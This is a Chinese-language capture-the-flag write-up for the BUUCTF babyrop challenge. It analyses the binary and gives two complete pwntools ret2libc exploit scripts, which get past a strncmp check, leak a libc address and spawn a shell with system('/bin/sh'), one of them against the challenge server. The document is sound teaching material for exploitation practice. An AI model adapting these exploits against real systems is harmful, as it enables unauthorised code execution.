buuctf_OGeek2019_babyrop 题目,个人解法
Checksec 1 2 3 4 5 6 7 [*] '/mnt/hgfs/CTF/Pwn_Study/pwn_exercise/BUUCTF/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main () { int buf; char v2; int fd; sub_80486BB(); fd = open("/dev/urandom" , 0 ); if ( fd > 0 ) read(fd, &buf, 4u ); v2 = sub_804871F(buf); sub_80487D0(v2); return 0 ; }
看到是随机数,写入四字节到 buf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl sub_804871F (int a1) { size_t v1; char s[32 ]; char buf[32 ]; ssize_t v5; memset (s, 0 , sizeof (s)); memset (buf, 0 , sizeof (buf)); sprintf (s, "%ld" , a1); v5 = read(0 , buf, 0x20u ); buf[v5 - 1 ] = 0 ; v1 = strlen (buf); if ( strncmp (buf, s, v1) ) exit (0 ); write(1 , "Correct\n" , 8u ); return (unsigned __int8)buf[7 ]; }
1 2 3 4 5 6 7 8 9 10 11 ssize_t __cdecl sub_80487D0 (char a1) { ssize_t result; char buf[231 ]; if ( a1 == 127 ) result = read(0 , buf, 0xC8u ); else result = read(0 , buf, a1); return result; }
分析
strncmp(buf, s, v1)
必须为0
result = read(0, buf, a1);
传入的 a1 ASCII 值一定要大
IDA 分析没有 system
和 /bin/sh
, 不存在 shellcode (NX enable),考虑构造 ROP 链,ret2libc 攻击
绕过 strncmp strncmp(buf, s, v1)
: 比较 buf 和 s 的前 v1个字符是否相等, 如果不相同,返回非0值 首先 s 是肯定不能控制的,因为 s 是写入的随机数,那就从 v1和 buf 入手: v1是 strlen(buf)
, 如果让 buf 第一位为0 , 那 strlen buf 肯定就是0 ,前0个就一定是相等的,返回1所以要让 buf 第一位为 \x00
buf 溢出 a1 ASCII 一定要大于等于235 方便省事,直接让 buf[7] = '\xff'
构造 payload 绕过和溢出部分的 payload,经过分析应该是:
1 payload = '\x00' + '\xff' * 7
构造 ROP 链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) before = '\x00' + '\xff' * 7 io.sendline(before) io.recvuntil('Correct\n' ) padding = 0xeb main_addr = 0x8048825 write_plt = elf.plt["write" ] write_got = elf.got["write" ] payload = b'a' * padding + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) + p32(main_addr) io.sendline(payload) write_addr = u32(io.recv(4 )) print ('write_addr:' ,hex (write_addr))libc_base = write_addr - libc.sym["write" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))io.sendline(before) io.recvuntil('Correct\n' ) payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr) io.sendline(payload2) io.interactive()
解题脚本 这道题给了 libc.so 文件,试了半天,用 LibcSearcher 反而做不出来….
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("libc-2.23_buuctf_babyrop_libc.so" ) io = remote("node5.buuoj.cn" ,29198 ) before = '\x00' + '\xff' * 7 io.sendline(before) io.recvuntil('Correct\n' ) padding = 0xeb main_addr = 0x8048825 write_plt = elf.plt["write" ] write_got = elf.got["write" ] payload = b'a' * padding + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) + p32(main_addr) io.sendline(payload) write_addr = u32(io.recv(4 )) print ('write_addr:' ,hex (write_addr))libc_base = write_addr - libc.sym["write" ] print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.symbols["system" ] binsh_addr = libc_base + next (libc.search(b"/bin/sh" )) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))io.sendline(before) io.recvuntil('Correct\n' ) payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr) io.sendline(payload2) io.interactive()